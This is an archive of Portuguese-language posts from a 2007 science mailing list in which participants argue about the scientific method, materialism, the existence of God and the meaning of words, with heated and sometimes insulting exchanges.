> pratica literatura. Pratique literatura também.
> Sério.
> Seu jeito de escrever é literario, é criativo.
>
> Luiz >>> Quem é esse "ele" para eu lhe dirigir a
> pergunta? Que resposta vazia!
>
> --- Eu que lhe pergunto: quem é deus? O que é deus?
> Como é deus? Quem é deus de verdade? Quem é deus na
> realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
> acreditar estará agindo apenas como um crente, é
> isto
> que vc quer, ser um crente?
>
> Luiz >>> Sim, eu ponho meu cérebro para funcionar e
> "ele" leva os créditos ... que safado!
>
> --- Ah tá! Se é vc que faz seu cérebro funcionar
> então
> me diga: como vc consegue isto? Pra começar, me
> diga:
> quem é vc?
>
>
> sinceramente
> ferrari
>
>
>
>
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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:38

Olá Takata!

Takata >>> Então eu chamo de realidade.

--- Pode chamar de realidade, sem problema, "chame do
que quiser" só não fique preso a esta semantica
também. Use as semanticas, não deixe elas te usarem.

Takata >>> Colocar a palavra deus na frente não traz
nenhuma informação.

--- Mais ou menos, é um recurso semantico que espanta
o materialismo que os cientistas colocam na ciencia. A
vezes até demais. hehehehe...

Takata >>> Não importa. O q importa é q toda vez q
meteram deus no meio da ciência nenhum avanço foi
obtido. O q é um forte indício para manter essa idéia
fora das ciências.

--- Discordo. O problema não foi meter deus na
ciencia, foi meter um "dogma de deus", o que é bem
diferente. Deus não é dogma, assim como realidade
também não é.

Takata >>> Fazer ciência de modo bem resumido é
produzir conhecimento...

--- E o que é conhecimento? E o que é produzir
conhecimento? Percebe como o cientista ignora a base
da ciencia? Ignora porque isto implica em
não-materialismo.

Takata >>> Vc pulou pelo menos uma parte. Antes vc
precisa mostrar q isso é apenas um mapa mental.

--- Ué, isto que vc me disse não é um produto do seu
pensamento? Ou vc é capaz de conhecer e transmitir o
que conhece sem pensar?


sinceramente
ferrari






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SUBJECT: Re: Alberto: Sobre o Método Cientifico
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:45

Olá Alberto!

Vc é um lord.
Só posso reverencia-lo.
Se todos fossem iguais a vc...
Conhece a musica?
Pois é, vou ler com calma.
Grato pela resposta.


Sinceramente
ferrari




--- Alberto Mesquita Filho <albmesq@uol.com.br>
escreveu:

> ----- Original Message -----
> From: "Ferrari"
> Sent: Wednesday, March 21, 2007 3:09 PM
> Subject: [ciencialist] Re: Alberto: Sobre o Método
> Cientifico
>
> > > Alberto >>> "Quem propaga a ciência por aí"
>
> > Ao meu ver, não se propaga ciencia, se propaga
> teorias.
>
> Isso é uma força de expressão, válida dentro do
> contexto em que foi
> emitida. Como diria Popper, "se não tivesse havido
> uma torre de
> Babel, teríamos tido de construir uma" [vide
>
http://br.groups.yahoo.com/group/ciencialist/message/61613
> ].
>
> > A ciencia é como a musica, existe. O problema do
> método cientifico
> é um problema emocional, acredite se quiser.
>
> Neste caso vou remetê-lo a um parágrafo que escrevi
> recentemente [o
> artigo todo poderá ser lido em
>
http://ecientificocultural.com/ECC2/FilCien/metcien01.htm
> ]:
>
> "...o cientista, consciente ou inconscientemente,
> quer queira, quer
> não queira, ao produzir conhecimentos científicos
> utiliza-se do
> método científico, cabendo ao estudioso em teoria do
> conhecimento
> decodificar ou decifrar esse método. A ciência,
> enquanto tal, evolui
> independentemente da existência do método, da mesma
> maneira que os
> planetas circulam ao redor do Sol, indiferentes à
> existência ou não
> das leis da mecânica ou da gravitação. Obviamente o
> método poderá
> interessar ao pedagogo ou a todos aqueles que se
> preocuparem com a
> formação de pesquisadores, bem como aos cientistas
> que pretenderem
> aprimorar sua maneira de fazer ciência. Bem ou mal
> estes cientistas
> já utilizam o método de uma maneira muito semelhante
> àquela
> apresentada pelo músico que toca um instrumento por
> ouvido. Nota-se,
> no entanto, que a maioria daqueles que produziram
> ciência de alta
> qualidade, preocuparam-se, em alguma etapa de suas
> vidas, em aprender
> metodologia científica e/ou em tecer considerações
> sobre o método que
> empregavam."
>
> > Os cientistas são emocionalemnte apegados ao
> materialismo.
>
> Vide o que penso a respeito em
>
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é
> uma carga elétrica
> coulombiana e a Terra se move. E a história se
> repetirá.
>
>




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SUBJECT: Re: Ricardo: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:49

Olá Ricardo!

Porque não diz isto diretamente? Tá com medo de que?
De assumir o que diz? É claro que vc concorda com o
Luiz, está usando a mesma metodologia dele.



sinceramente
ferrari




--- Ricardo <ricardos@infolink.com.br> escreveu:

> Concordo Luiz! O pior é que ele deve realmente achar
> o que diz profundo... e
> até agora não disse nada.
>
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 3:42 PM
> Subject: Re: [ciencialist] Re: P/ Luiz: Sobre o
> Método Cientifico - ad
> infinitum
>
>
> Olha Ferrari, sorry, nunca li tantas imbecilidades
> assim agrupadas. Vc nos
> lembra um outro 'listeiro' que, especializado em
> filosofia de buteco, só
> sabia perguntar ... nunca responder!
> Chega! desisto!
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 21 de março de 2007 15:04
> Assunto: Re: [ciencialist] Re: P/ Luiz: Sobre o
> Método Cientifico - ad
> infinitum
>
>
> Oi Luiz!
>
> Luiz >>> essas suas respostas são as mais típicas
> respostas das tirinhas de horóscopos, auto-ajuda
> etc.
>
> --- Hehehehe... Luiz, sua lógica de argumentação não
> muda mesmo. Permita-me descreve-la:
>
> 1) humilhar o adversário com ironias
> 2) mostrar com isto que sou "o cara"
> 3) fugir pela tangente.
>
> --- Hehehehehe... Até que vc engana um montão de
> gente
> com isto, vc é até professor. A pergunta fundamental
> aqui é a seguinte: você consegue enganar a si mesmo
> com ela? Não precisa me responder, pois é uma
> resposta
> que não me interressa.
>
> Luiz >>> Quer moleza? Vá tomar sopa de hidrogênio!
>
> --- Hahahahehehehahahehehe... Quer um conselho de
> quem
> pratica literatura. Pratique literatura também.
> Sério.
> Seu jeito de escrever é literario, é criativo.
>
> Luiz >>> Quem é esse "ele" para eu lhe dirigir a
> pergunta? Que resposta vazia!
>
> --- Eu que lhe pergunto: quem é deus? O que é deus?
> Como é deus? Quem é deus de verdade? Quem é deus na
> realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
> acreditar estará agindo apenas como um crente, é
> isto
> que vc quer, ser um crente?
>
> Luiz >>> Sim, eu ponho meu cérebro para funcionar e
> "ele" leva os créditos ... que safado!
>
> --- Ah tá! Se é vc que faz seu cérebro funcionar
> então
> me diga: como vc consegue isto? Pra começar, me
> diga:
> quem é vc?
>
>
> sinceramente
> ferrari
>
>
>
>
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> Version: 7.5.446 / Virus Database: 268.18.16/729 -
> Release Date: 21/03/2007
> 07:52
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SUBJECT: Re: Homero : Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:57

Olá Homero!

Homero >>> Não há evidências de que exista um deus,
dentro da definição aceita para o termo.

--- Homero, quantas vezes vou ter que te dizer que
semantica é logica são coisas distintas e que vc não é
obrigado a se prender a semantica nenhuma? Semantica
são ferramentas de comunicação. É o usuário que deve
usar a ferramente e não a ferramenta que deve usar o
usuário. Vc pode se prender feito um rato na ratoeira
da semantica se vc quiser, mas vc não é obrigado a
fazer isto, não tem nenhuma arma apontada pra sua
cabeça te obrigando a fazer isto, logo, liberte sua
mente da semantica, vc pode. Sua inteligencia está
além da semantica. Perceba isto.

sinceramente
ferrari







--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> Tudo é tudo. Tudo é nada, pois é tudo. Nada é tudo,
> e tudo é nada. Deus é tudo, então deus é nada. Nada
> é deus e é tudo, e tudo é nada. E...
>
> Fala sério, Ferrari, é isso que pensa ser "pensar"
> ou filosofar? Usamos termos com um propósito claro,
> comunicar, definimos conceitos e coisas com o
> sentido de separar, para compreender, para comunicar
> idéias distintas. Seu discurso maluco, como a frase
> acima, não significam nada (por mais feliz e alegre
> que você tente se apresentar ao declama-lo..:-)
>
> Gente sem nenhuma capacidade intelectual pode
> produzir discursos como esse, e ainda não dizem
> anda, nem nada significam.
>
> Deus tem definição precisa, não pode criar "seu
> deus", pelo menos não se este não se encaixar na
> definição: entidade sobrenatural, superpoderosa,
> intencional, etc. A força da gravidade NÃO é deus ou
> divindade, porque NÃO deseja, tem a intenção, de
> atrair coisas.
>
> Ferrari: "Não é incorreta, é diferente. Mas saiba
> que a sua está
> contida na minha. Ou seja, eu te entendo, embora vc
> não me entenda. E pelo visto, nem quer entender."
>
> Não, é incorreta mesmo. Absurda, na verdade, e sem
> sentido. E não é que eu não queia entender, não há o
> que entender, como não há o que entender em um
> discurso de um esquizofrenico, que pensa ter "todas
> as verdades" e conhecer deus. Embora o
> esquizofrencio "pense" que está lhe revelenaod
> coisas fantásticas, racionais e maravilhosas, ele na
> verdade está produzindo apenas um discurso
> incoerente e sem sentido. Como você.
>
> Ferrari: "NÃO! Esta ai é a SUA definição de deus,
> não a
> minha. Nunca lhe dei a minha. "
>
> Não pode criar "sua definição de deus", Ferrari, não
> é assim que funciona a comunicação, a linguagem, o
> debate lógico, etc. Não pode dar a "sua", só pode
> defender sua posição SE demonstrar que tem
> evidências de um deus, que se encaixe na definição
> de deus. É como alegar que não sei o que ´´e uma
> 'cadeira", pois não é a "minha" definição de cadeira
> que vale, mas a sua..:-) E na "sua' definição de
> "cadeira", está é um objeto que serve para escovar
> os dentes..:-)
>
> É ridículo, não é? Pois é o que tenta fazer com o
> termo "deus", dar a ele uma definição que ele não
> tem, de forma a defender sua alegação, baseada em
> crença, que "deus existe". Dessa forma, "deus é o
> universo", e se reconheço que o universo existe,
> então reconheço que deus existe..:-)
>
> Isso serve para QUALQUER absurdo criado pela
> imaginação humana..:-) Duendes são a chuva, se
> reconhece que a chuva existe, então tem de aceitar
> que duendes existem. Vampiros são pasteis de feira,
> se reconhece que pasteis de feira existem, então tem
> de aceitar que vampiros existem.
>
> Fala sério, Ferrari..:-) Assim não dá, nem com todo
> sua "alegria por saber a verdade"..:-)
>
> Ferrari: "Observe este seu comportamento, se
> pergunte
> porque faz isto, isto também é um tipo de ciencia,
> se
> chama autoconhecimento (ciencia de si).
> "
>
> Não, Ferrari, vampiros NÃO são pasteis de feira, e
> ciência NÃO é autoconhecimento. Auto-conhecimento
> até equizofrenicos tem, embora seja um conhecimento
> TODO errado..:-) Ciência tem definição precisa, como
> demonstrado pelo Takata, e não pode "distorcer" os
> termos a seu bel prazer.
>
> Ou discute de forma minimamente racional, ou vai
> ficar falando abobrinhas para crianças em parques
> infantis, tentando convence-las de que Papai Noel
> existe, pois "Papai Noel é tudo, tudo é Papai Noel"
> e coisas do tipo.
>
> Ferrari: "Eu que lhe pergunto: quem é deus? O que é
> deus?
> Como é deus? Quem é deus de verdade? Quem é deus na
> realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
> acreditar estará agindo apenas como um crente, é
> isto
> que vc quer, ser um crente?
> "
>
> Não há evidências de que exista um deus, dentro da
> definição aceita para o termo: entidade intencional
> etc. Você "acredita" que sabe, mas é só uma crença,
> tão boa e tão sem sentido como a de quem acredita em
> duendes, fadas e o Papai Noel. Não há diferença em
> "sua" iluminação, e a luminação de quem alega outras
> viagens de imaginação.
>
> Um mistério não justifica uma escolha de explicação
> sem base. Não saber algo NÃO significa que esse algo
> é deus, ou um ET de alpha-centauri ou um ser
> intraterreno. Você usa o mesmo subterfúgio e incorre
> no mesmo erro de todo crente, crente de qualquer
> coisa, ETs, divindades, paranormais, etc. Pensa que
> lacunas de conhecimento justificam sua crença. Não
> justificam.
>
> Está tão errado com seu "deus é tudo", quanto nossos
> ancestrais estavam errados com seu deus-vulcão, ou
> seu deus-sol ou seu deus-jeova, ou seu deus pessoal
> (como o seu).
>
> Eu existir NÃO é evidência de existir deus, o
> universo existir NÃO é evidência de existir deus,
> qualquer coisa existir, NÃO é evidência de existir
> deus, e deus é tudo é uma tautologia, uma frase que
> nada diz e nada informa, inútil em todos os
> sentidos, e em especial para um debate racional.
>
> Deus-das-lacunas já foi abandonado há tempos,
> Ferrari, devido ao costume de ser "despejado" a todo
> momento, quando se descobre a explicação real para a
> lacuna..:-)
>
> Homero
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, March 21, 2007 2:48 PM
> Subject: Re: [ciencialist] Re: P/ Ferrari - :
> Sobre o Método Cientifico - adinfinitum
>
>
> Olá Homero!
>
> Homero >>> Ninguém aprende lógica "no berço". O
> termo
> define um conjunto de proposições, uma ferramenta,
> bem
> estruturada, e não se confunde com percepções
> internas
> como "eu existo".
>
> --- Pense bem e verá que começa no berço sim. Mas
> este
> é meu limite, apontar, ver é com vc.
>
> Homero >>> Sua noção desse assunto é incorreta...
>
> Não é incorreta, é diferente. Mas saiba que a sua
> está
> contida na minha. Ou seja, eu te entendo, embora
> vc
> não me entenda. E pelo visto, nem quer entender.
>
> Homero >>> Deus, seu deus, ou a divindade que
> preferir, não tem evidências de existir. Uma força
> não
> intencional, poderosa, NÃO se encaixa no conceito,
> qualquer conceito, de deus.
>
> --- NÃO! Esta ai é a SUA definição de deus, não a
> minha. Nunca lhe dei a minha. Tá vendo como vc se
> apega a semantica? Vc se esqueceu de me perguntar
> qual
> é minha definição de deus e já foi me julgando de
> cabo
> a rabo! Observe este seu comportamento, se
> pergunte
> porque faz isto, isto também é um tipo de ciencia,
> se
> chama autoconhecimento (ciencia de si).
>
> sinceramente
> ferrari
>
> - - - - - - - - - - - - - - -
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SUBJECT: Re: Eduardo: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 16:03

Olá Eduardo!

Eduardo >>> Como seria um método cientifico nao
materialista?

--- Começaria pela seguinte compreenção:

1) o mapa não é o território.

Obs: poupe-me das suas ironias. gostaria que eu fosse
ironico com vc? então porque é comigo?


grato
ferrari



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SUBJECT: Re: Papai Noel: Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 16:14

José renato >>> Homero! Quando é que vc vai entender
que o Papai Noel existe? As crianças sabem disso...
Muitos adultos sabem disso... Afinal, quem é que lhes
dá presentes no Natal? Vou repetir: o que não existe é
o Papai Noel que vc imaginou quando criança.

Ei homero, tá aqui um exemplo de inteligencia que não
se prender a semantica.

Parabéns JR!


sinceramente
papai noel






--- José Renato <jrma@terra.com.br> escreveu:

> Homero; [ Da mesma forma como "pode ser que exista"
> Papai Noel, mas devido a
> falta de evidências dessa existência justifica que
> nos comportemos "como se
> não existisse" Papai Noel, também podemos nos
> comportar como se deus não
> existisse, em especial em ciência ou fazendo
> ciência. ]
>
...........................................................
>
> Olá, Homero! Quando é que vc vai entender que o
> Papai Noel existe? As
> crianças sabem disso... Muitos adultos sabem
> disso... Afinal, quem é que
> lhes dá presentes no Natal?
> Vou repetir: o que não existe é o Papai Noel que vc
> imaginou quando criança.
> O que existe são papais-noéis e mamães-noéis com a
> cara do papai e da mamãe,
> tios e tias-noéis, amigo-noel, esposo e
> esposa-noéis... Esses existem e
> fazem a festa dos comerciantes no Natal. Perceba que
> o imaginado geralmente
> não corresponde à realidade ou nem tem existência
> física...
> O que é preciso fazer é adequar o nome à pessoa ou
> ao objeto da nossa
> imaginação.
> []s
> José Renato
> ................................
>
> From: "oraculo333" <oraculo@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 9:43 PM
> Subject: [ciencialist] P/ Alvaro - : Sobre o Método
> Cientifico - adinfinitum
>
>
> Olá Alvaro
>
> Alvaro: "Em minha opinião, a melhor resposta de um
> cientista ou
> simpatizante, quando questionado sobre a existência
> de deus, é a
> seguinte: "Nunca vi evidência da existência nem da
> não-existência de
> deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE
> EXISTE OU NÃO.""
>
> Se tiver a bondade de reler as respostas que temos
> postado ao Ferrari,
> vai perceber que EM TODAS ELAS é justamente isso que
> é defendido, que
> não há evidências que suportem essa alegação de
> existência..:-)
>
> Não temos evidências de existência de seres
> sobrenaturais ou divinos.
> Pode ser que existam? Tudo pode ser que exista, mas,
> nem tudo tem a
> mesma probabilidade de existir.
>
> Da mesma forma como "pode ser que exista" Papai
> Noel, mas devido a
> falta de evidências dessa existência justifica que
> nos comportemos
> "como se não existisse" Papai Noel, também podemos
> nos comportar como
> se deus não existisse, em especial em ciência ou
> fazendo ciência.
>
> Note que são os que crêem na divindade de sua
> preferência que afirma,
> com todas as letras "saber" que ele existe, como
> pensa, o que deseja,
> etc. A ciência, e nós na lista, alegamos apenas que
> não é uma
> conclusão válida, baseada em evidências. Acredita
> quem quer, seja em
> deuses, seja no Papai Noel, ou em duendes.
>
> Como tentamos explicar ao Ferrari, a falta de
> evidências que permita
> uma explicação científica NÃO significa que se possa
> adotar outra
> explicação qualquer, igualmente sem evidências.
>
> Com certeza, Alvaro, muitas coisas podem existir sem
> que "caibam em
> nossa cabeça", mas justamente por isso é preciso
> cuidado e rigor ao
> analisar e concluir: como separar algo que não cabe
> em nossa cabeça,
> mas não existe, de algo que não cabe em nossa
> cabeça, mas existe?
>
> Elementos e fenômenos que não apresentam evidências
> de existir não
> podem, nem devem, ser levados em consideração nas
> escolhas, atos e
> desdobramentos, por uma questão de racionalidade e
> confiabilidade.
>
> Alvaro: "Qualquer afirmação tomada por verdadeira
> supõe que sua
> negativa é falsa."
>
> É uma regra de lógica que um argumento não pode ser
> contraditório, ou
> seja, não pode conter premissas ou conclusões
> conflitantes. Mas isso
> não significa o que parece pensar, pela frase acima.
> Acreditar que
> deus existe, claro, significa não acreditar que deus
> NÃO existe, mas
> não ver evidências dessa existência não é o mesmo
> que acreditar que
> deus não existe.
>
> É apenas ter como irrelevante essa existência, já
> que não pode ser
> detectada ou analisada (e, portanto, não se pode
> decidir o que essa
> entidade deseja ou pretende). Como disse o saudoso
> Carl Sagan, qual a
> diferença entre um dragão invisível que cospe fogo
> frio e é
> indetectável de toda forma conhecida, e NENHUM
> dragão?
>
> Alvaro: "O problema é que com essa resposta não
> teríamos discussões
> interessantes como essa que tenho acompanhado."
>
> Está enganado, não é esse o problema, como as
> mensagens anteriores
> mostram. O problema é que esta resposta NÃO satisfaz
> os que crêem, que
> acreditam que existe uma divindade. Por isso
> preferem opor sua crença
> a uma pretensa "crença inversa", na inexistência de
> divindades.
>
> Alvaro: "mas não acredito que a ciência, por ser
> produto de nossas
> mentes, possa decidir sobre existência ou não de um
> deus ou como
> quiserem chamá-lo."
>
> Não há essa pretensão, pela ciência, de provar que
> deus não existe,
> nem que existe. A própria definição de deus o coloca
> fora do alcance e
> escopo da ciência.
>
> Mas esta pode, e deve, analisar qualquer evidência
> material, concreta,
> que seja apresentada para demonstrar essa
> existência. E pode concluir,
> como tem concluído, que não há evidências a suportar
> essa alegação.
>
> Um abraço.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Álvaro
> Antpack"
> <alvaro_antpack@...> escreveu
> >
> > Senhores,
> >
> > se me permitem um pitaco, depois de muito tempo
> sem participar de
> discussões
> > da lista (4 anos?)...
> >
> > Não sou religioso, mas não acredito que a ciência,
> por ser produto
> de nossas
> > mentes, possa decidir sobre existência ou não de
> um deus ou como
> quiserem
> > chamá-lo.
> >
> > Era uma vez uma bactéria, que tinha ouvido falar
> de um ser
> grandioso, que
> > podia decidir seu futuro, se quisesse (ok,
> bactérias não conversam, nem
> > "ouvem falar", mas tenham paciência com minha
> analogiazinha
> caseira). Mas
> > não acreditava. Não tinha qualquer prova de sua
> existência. Vivia em seu
> > meio, entre outras bactérias, durante sua longa
> existência (algumas
> horas,
> > ou dias, sei lá), e nunca viu nenhuma prova da
> existência do tal
> "humano".
> >
> > Essa bactéria vivia na meleca grudada num pêlo do
> nariz do
> Joãozinho, que
> > foi se lavar no banheiro e lá se foi a bactéria
> pelo ralo da pia.
> Ela nem
> > tomou conhecimento, foi parar no esgoto sem saber,
> onde acabou se
> > reproduzindo através de mitose (se dividiu no meio
> e digamos que
> "morreu").
> >
> > A idéia do tal humano simplesmente não cabia em
> sua "cabeça".
> >
> > Creio que podem, sim, existir coisas que não temos
> condições de
> compreender.
> > Coisas que podem ser muito maiores do que nós, e
> simplesmente não
> caber em
> > nossa cabeça. Tente imaginar o tão comentado
> Universo de 4, 10 ou 11
> > dimensões. Ok, a matemática explica e consegue
> tratar desse assunto, mas
> > quem garante que todos os assuntos podem ser
> tratados matematicamente e
> > fisicamente? Quem sabe podem existir "coisas" que
> não cabem na nossa
> cabeça,
> > nem na da matemática, nem na da física?
> >
> > A ciência pode e deve questionar a existência de
> tudo que não tenha
> > evidência, mas não deve afirmar que tal e tal
> coisa não existe, só
> por falta
> > de evidências. A navalha de Occam pode ser útil,
> mas é só um
> princípio. E
> > será que é aplicável nesse assunto? Afinal,
> estamos aqui,
> discutindo. Viemos
> > de algum lugar. Ok, a vida surgiu a partir de
> reações químicas. E as
> reações
> > vieram de onde? E esse "onde" veio de onde?
> Simplesmente, por mais que
> > avancemos no sentido de entender nossas origens,
> provavelmente jamais
> > chegaremos à causa última de nossa existência.
> >
> > Se viesse alguém nesta lista dizendo que deus não
> existe, deveria ser
> > igualmente questionado. Qualquer afirmação tomada
> por verdadeira
> supõe que
> > sua negativa é falsa. E em qualquer caso o
> cientista deve procurar
> > evidências, testar a tese e tentar fazer previsões
> com ela antes de
> > aceitá-la. Mas CADÊ A EVIDÊNCIA?
> >
> > Em minha opinião, a melhor resposta de um
> cientista ou simpatizante,
> quando
> > questionado sobre a existência de deus, é a
> seguinte: "Nunca vi
> evidência da
> > existência nem da não-existência de deus, portando
> NÃO TENHO
> CONDIÇÕES DE
> > AFIRMAR SE EXISTE OU NÃO." E essa resposta delega
> a decisão somente
> à fé,
> > que em minha opinião nada tem que ver com ciência.
> >
> > O problema é que com essa resposta não teríamos
> discussões interessantes
> > como essa que tenho acompanhado.
> >
> > Abraço...
> >
> > Álvaro
> >
> >
> > [As partes desta mensagem que não continham texto
> foram removidas]
> >
>
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SUBJECT: Re: JR : Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 16:18

JR,

Não foi o ferrari que disse isto que vc disse que ele
disse. Hehehehe... Bem, ao meu ver, qualquer um pode o
que pode, e não pode o que não pode, só isto.


sinceramente
ferrari







--- José Renato <jrma@terra.com.br> escreveu:

> Ferrari: [A ciência pode e deve questionar a
> existência de tudo que não
> tenha evidência, mas não deve afirmar que tal e tal
> coisa não existe, só por
> falta de evidências. ]
>
> Jeff: [ Não deve mesmo. Cientistas sérios e sensatos
> não devem ser assim. E
> não devem também dar atenção pra quem diz que tal
> coisa existe sem ter
> evidências, não concorda? ]
>
...........................................................................
>
> José Renato comenta: Há bastante evidência que o
> Universo existe. São nessas
> evidências que nos devemos basear para
> questionamentos, inferições,
> experimentos, pesquisas, teorias, expectativas,
> etc... Nem todos percebem as
> mesmas coisas e investe tempo e trabalho para
> elucidar o que está por trás
> de, às vezes, tão poucas evidências percebidas. Caso
> contrário, ainda
> estaríamos imaginando que estamos "parado" e os
> astros é que giram ao redor
> da Terra; que o mundo se resume às terras onde
> habitamos e às insondáveis
> águas que nos cercam; que anti-matéria não existe; e
> que a Ciência já é
> capaz de esclarecer tudo o que ocorre no Universo e
> realizar toda e qualquer
> experiência de fenômenos possíveis existentes no
> Universo.
> []s
> José Renato
>
> ----- Original Message -----
> From: "Jefferson" <jeff@jeff.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 9:49 PM
> Subject: Re: [ciencialist] P/ Ferrari - : Sobre o
> Método Cientifico -
> adinfinitum
>
>
> > Olá Álvaro,
> >
> >>
> >>Não sou religioso, mas não acredito que a ciência,
> por ser produto de
> >>nossas
> >>mentes, possa decidir sobre existência ou não de
> um deus ou como quiserem
> >>chamá-lo. Creio que podem, sim, existir coisas que
> não temos condições de
> >>compreender.
> >>Coisas que podem ser muito maiores do que nós, e
> simplesmente não caber em
> >>nossa cabeça. Quem sabe podem existir "coisas" que
> não cabem na nossa
> >>cabeça, nem na da matemática, nem na da física?
> >>
> >
> > Concordo. A ciência se limita em nossa capacidade
> de raciocínio.
> >
> >>
> >>A ciência pode e deve questionar a existência de
> tudo que não tenha
> >>evidência, mas não deve afirmar que tal e tal
> coisa não existe, só por
> >>falta
> >>de evidências.
> >>
> >
> > Não deve mesmo. Cientistas sérios e sensatos não
> devem ser assim. E não
> > devem também dar atenção pra quem diz que tal
> coisa existe sem ter
> > evidências, não concorda?
> >
> >>
> >>Viemos de algum lugar. Ok, a vida surgiu a partir
> de reações químicas. E
> >>as
> >>reações
> >>vieram de onde? E esse "onde" veio de onde?
> Simplesmente, por mais que
> >>avancemos no sentido de entender nossas origens,
> provavelmente jamais
> >>chegaremos à causa última de nossa existência.
> >>
> >
> > A teoria mais aceita é a do "big bang". Antes
> disso, teoricamente, nada. O
> > universo pode ser tão simples que poderemos, um
> dia, entendê-lo
> > completamente, ou não.
> >
> >>
> >>Em minha opinião, a melhor resposta de um
> cientista ou simpatizante,
> >>quando
> >>questionado sobre a existência de deus, é a
> seguinte: "Nunca vi evidência
> >>da
> >>existência nem da não-existência de deus, portando
> NÃO TENHO CONDIÇÕES
> >>DE AFIRMAR SE EXISTE OU NÃO." E essa resposta
> delega a decisão somente
> >>à fé, que em minha opinião nada tem que ver com
> ciência.
> >>
> >
> > Muito sensato. Também penso assim e creio que
> quase todo mundo aqui
> > também.
> >
> > O problema desta discussão é que o Sr. Ferrari diz
> saber a "verdade" e que
> > esta não é científica. Só que a ÚNICA MANEIRA de
> nós tentarmos entender as
> > coisas é através da ciência, qualquer outra coisa
> é viagem. É viagem
> > porque
> > quem tem alguma "explicação" não-científica, este
> mesmo não pode
> > entendê-la.
> > Só conseguimos entender, realmente, algo que tenha
> lógica.
> >
> > Mas, como dissemos, a ciência é limitada na
> capacidade do nosso cérebro,
> > no
> > que conseguimos entender. Nos parece, até o
> momento, que o universo tem
> > uma
> > lógica que entendemos e, por isso, cremos que um
> dia o decifraremos por
> > completo. Mas isso pode não ser verdade e, talvez,
> nunca conseguiremos
> > entender a realidade. Como já lí em algum lugar,
> estamos como leigos
> > assistindo um jogo de xadrez, observando os
> movimentos das peças e
> > tentando
> > decifrar a regra geral do jogo. Escrevemos teorias
> que descrever todos os
> > movimentos até que aparece um "roque" e estraga
> tudo :-)
> >
> > []´,s
> > Jeff
>
>




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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 16:54

> Jeff: [ Não deve mesmo. Cientistas sérios e sensatos não devem ser assim.
> E
> não devem também dar atenção pra quem diz que tal coisa existe sem ter
> evidências, não concorda? ]
>
> José Renato comenta: Há bastante evidência que o Universo existe. São
> nessas
> evidências que nos devemos basear para questionamentos, inferições,
> experimentos, pesquisas, teorias, expectativas, etc... Nem todos percebem
> as
> mesmas coisas e investe tempo e trabalho para elucidar o que está por trás
> de, às vezes, tão poucas evidências percebidas.

Mas pelo menos UMA né? Não há uma única evidência de que exista algum deus,
por exemplo. E falta de conhecimento de alguma coisa não valoriza nenhuma
crença.

>
> e que a Ciência já é capaz de esclarecer tudo o que ocorre no Universo e
> realizar
>toda e qualquer experiência de fenômenos possíveis existentes no Universo.
>

Ninguém deve dizer isso enquanto TODO o universo não for explicado. O que
pode ou não acontecer um dia.

[]´,s
Jeff.



SUBJECT: Fw: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 16:57

Ricardo, parece que vc está com uma visão muito limitada do que seja
ciência. Conhecimento sem discernimento pode deixar de fora - e geralmente
deixa - o agente principal: a humanidade. Temos conhecimento e capacidade
tecnológica para tornar a Terra um paraíso, só não temos sabedoria
suficiente para promover isso. A Ciência deve desenvolver no ser humano,
além do conhecimento e das noções tecnológicas, uma consciência de
dependência e integração ao planeta Terra e tudo o que nela contém.
Considerar sabedoria e sapiência valores místicos demonstra o tipo de
estrutura mental com pouca experiência de vida. Entenda que numa lista de
ciências vc vai encontrar muito mais do que apenas o que consta nos
currículos do primeiro e segundo grau. Essa infinitude de assuntos que se
acumulou no conhecimento humano é o que torna interessante o desafio de
desenvolver diálogos esclarecedores.
[]s
José Renato
.......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 11:46 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum

Discordo JR.

Como vejo, a ciência mantém sua busca constante por uma maior compreensão da
realidade, quanto a isso não tenho dúvidas.

